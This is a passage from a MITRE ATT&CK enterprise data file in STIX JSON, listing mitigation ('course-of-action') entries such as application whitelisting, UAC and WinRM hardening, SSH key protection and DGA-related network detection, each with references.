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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1162", "external_id": "T1162"}, {"url": "https://support.apple.com/en-us/HT204005", "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", "source_name": "Re-Open windows on Mac"}], "modified": "2019-07-24T19:49:43.716Z", "name": "Login Item Mitigation", "description": "Restrict users from being able to create their own login items. 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Retrieved October 3, 2018.", "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016"}], "modified": "2019-07-24T14:19:23.148Z", "name": "Compiled HTML File Mitigation", "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", "type": "course-of-action", "created": "2019-03-14T20:17:16.234Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://attack.mitre.org/mitigations/T1488", "source_name": "mitre-attack", "external_id": "T1488"}, {"description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", "url": "https://www.ready.gov/business/implementation/IT", "source_name": "Ready.gov IT DRP"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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(2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}], "modified": "2019-07-25T12:35:09.565Z", "name": "Windows Management Instrumentation Event Subscription Mitigation", "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. 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Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. 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(2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"}, {"source_name": "TechNet Moving Beyond EMET", "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"}, {"source_name": "Wikipedia Control Flow Integrity", "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", "url": "https://en.wikipedia.org/wiki/Control-flow_integrity"}], "modified": "2019-07-24T19:26:53.547Z", "name": "Exploitation of Remote Services Mitigation", "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", "type": "course-of-action", "created": "2019-06-06T16:47:30.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1016", "url": "https://attack.mitre.org/mitigations/M1016"}], "modified": "2020-07-14T22:22:06.356Z", "name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", "type": "course-of-action", "created": "2019-02-15T13:04:25.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1482", "source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1482"}, {"source_name": "Harmj0y Domain Trusts", "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}], "modified": "2020-09-17T18:26:17.815Z", "name": "Domain Trust Discovery Mitigation", "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. 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Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. 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(Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Retrieved February 18, 2019.", "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", "source_name": "Cybereason Dissecting DGAs"}, {"source_name": "Cisco Umbrella DGA Brute Force", "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/", "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."}, {"description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", "source_name": "Akamai DGA Mitigation"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T19:13:31.378Z", "name": "Domain Generation Algorithms Mitigation", "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. 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Retrieved July 8, 2017.", "source_name": "Securing bash history"}], "modified": "2019-07-24T18:05:00.492Z", "name": "Clear Command History Mitigation", "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. 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Retrieved September 6, 2018.", "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}], "modified": "2020-01-17T16:46:19.274Z", "name": "Windows Remote Management Mitigation", "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. 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Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1160", "external_id": "T1160"}], "modified": "2019-07-24T19:48:23.825Z", "name": "Launch Daemon Mitigation", "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", "type": "course-of-action", "created": "2019-04-24T17:01:10.433Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1489", "source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1489"}], "modified": "2019-07-25T11:42:52.240Z", "name": "Service Stop Mitigation", "description": "Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1184", "external_id": "T1184"}, {"url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent", "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", "source_name": "Symantec SSH and ssh-agent"}], "modified": "2019-07-25T11:38:28.944Z", "name": "SSH Hijacking Mitigation", "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. 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Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1074", "external_id": "T1074"}], "modified": "2019-07-24T19:05:13.374Z", "name": "Data Staged Mitigation", "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. 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Web Server Security and Database Server Security. Retrieved July 26, 2018.", "source_name": "acunetix Server Secuirty"}, {"url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf", "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", "source_name": "NIST Server Security July 2008"}], "modified": "2019-07-25T11:43:54.859Z", "name": "Shared Webroot Mitigation", "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. 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Retrieved April 9, 2018.", "source_name": "Chkrootkit Main"}, {"url": "https://patchwork.kernel.org/patch/8754821/", "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin  register. Retrieved April 9, 2018.", "source_name": "Kernel.org Restrict Kernel Module"}], "modified": "2019-07-24T19:44:56.371Z", "name": "Kernel Modules and Extensions Mitigation", "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. 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If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1036", "url": "https://attack.mitre.org/mitigations/T1036", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1102", "external_id": "T1102"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-25T12:34:04.565Z", "name": "Web Service Mitigation", "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. 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Retrieved April 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"}], "modified": "2020-01-17T16:45:24.247Z", "name": "Resource Hijacking Mitigation", "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1040", "url": "https://attack.mitre.org/mitigations/T1040", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "type": "course-of-action", "created": "2019-06-11T16:35:25.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1038", "url": "https://attack.mitre.org/mitigations/M1038"}], "modified": "2022-02-28T19:50:41.210Z", "name": "Execution Prevention", "description": "Block execution of code on a system through application control, and/or script blocking.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1201", "external_id": "T1201"}, {"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements", "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.", "source_name": "Microsoft Password Complexity"}], "modified": "2019-07-25T11:22:39.929Z", "name": "Password Policy Discovery Mitigation", "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T15:51:57.176Z", "name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "type": "course-of-action", "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", "created": "2019-06-11T16:47:12.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/M1043", "external_id": "M1043"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1110", "external_id": "T1110"}, {"source_name": "NIST 800-63-3", "url": "https://pages.nist.gov/800-63-3/sp800-63b.html", "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}], "modified": "2019-07-24T18:03:10.785Z", "name": "Brute Force Mitigation", "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. 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Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T19:28:35.941Z", "name": "Fallback Channels Mitigation", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1113", "url": "https://attack.mitre.org/mitigations/T1113", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"}, {"source_name": "TechNet Applocker vs SRP", "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"}], "modified": "2020-01-17T16:45:24.643Z", "name": "Screen Capture Mitigation", "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1153", "external_id": "T1153"}], "modified": "2019-07-25T11:45:45.651Z", "name": "Source Mitigation", "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], 